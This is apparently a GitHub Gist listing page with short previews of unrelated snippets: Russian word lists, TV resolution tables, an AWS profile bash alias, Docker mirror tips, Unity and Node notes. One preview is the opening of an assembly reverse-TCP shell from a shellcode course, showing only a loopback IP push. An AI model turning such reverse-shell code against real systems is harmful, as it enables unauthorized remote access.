Skip to content

Instantly share code, notes, and snippets.

@kissarat
kissarat / russian-mnemonic-words.txt
Last active May 5, 2024 04:02
Список существительных русского языка
ад
ар
ер
ил
ом
ум
ус
юг
юр
ют
@jonlabelle
jonlabelle / television_resolution_standards.md
Last active May 5, 2024 04:02
Digital and analog television standards resolution reference.

Television Standards

Digital and analog television standards resolution reference.

Digital TV Standards

Standard Resolution (dots × lines) DAR (H:V) Pixels
PixelVision 120 × 90 4:3 10,800
@andreav
andreav / aws-profile-chooser-bash-alias
Last active May 5, 2024 04:01
aws profile chooser and setter for bash. alias let me set AWS_PROFILE without launching another shell
alias aws-profile-chooser='x() { select prof in $( aws configure list-profiles ) ; do export AWS_PROFILE="$prof"; break; done }; x'
@y0ngb1n
y0ngb1n / docker-registry-mirrors.md
Last active May 5, 2024 03:59
国内的 Docker Hub 镜像加速器,由国内教育机构与各大云服务商提供的镜像加速服务 | Dockerized 实践 https://github.com/y0ngb1n/dockerized

Docker Hub 镜像加速器

国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。

Dockerized 实践 https://github.com/y0ngb1n/dockerized

配置加速地址

Ubuntu 16.04+、Debian 8+、CentOS 7+

@natanaeljr
natanaeljr / lm-sensors it8688E.md
Last active May 5, 2024 03:55
lm-sensors support for it8688E chip (ArchLinux)

lm-sensors support for it8688E chip (ArchLinux)

  1. Make sure you have installed lm_sensors
  • sudo pacman -S lm_sensors --needed
  1. Download and Install the it87 kernel module for the driver support:
  1. To temporary enable the it87 module
@mlaves
mlaves / kernel-svm.ipynb
Created September 8, 2021 08:25
Kernel SVM.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@geyslan
geyslan / shell_reverse_tcp.asm
Last active May 5, 2024 03:52
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
@yasirkula
yasirkula / ScrollViewFocusFunctions.cs
Created October 23, 2021 10:09
Focus/center Scroll View to the specified point/item in Unity
using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public static class ScrollViewFocusFunctions
{
public static Vector2 CalculateFocusedScrollPosition( this ScrollRect scrollView, Vector2 focusPoint )
{
Vector2 contentSize = scrollView.content.rect.size;
Vector2 viewportSize = ( (RectTransform) scrollView.content.parent ).rect.size;
@Klerith
Klerith / pasos-node-typescript.md
Last active May 5, 2024 03:45
Configurar proyecto de Node con TypeScript

Pasos para usar Node con TypeScript con Nodemon

Más información - Docs Oficiales

  1. Instalar TypeScript y tipos de Node, como dependencia de desarrollo
npm i -D typescript @types/node
  1. Inicializar el archivo de configuración de TypeScript ( Se puede configurar al gusto)
@ykst
ykst / gist:6e80e3566bd6b9d63d19
Last active May 5, 2024 03:40
WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebRTCでやれよ!と言われそうなところですが、 WebSocket+WebAudioの組み合わせで音声ストリーミングをシンプルに構成する方法を紹介してみます。

サーバーサイド(Node.js + ws + pcm)

サーバーサイドは何でも良いのですが、 とりあえずNode.jsでtest.mp3というサンプルファイルをpcmモジュールでデコードし、 wsでクライアントに垂れ流す作りにしておきます。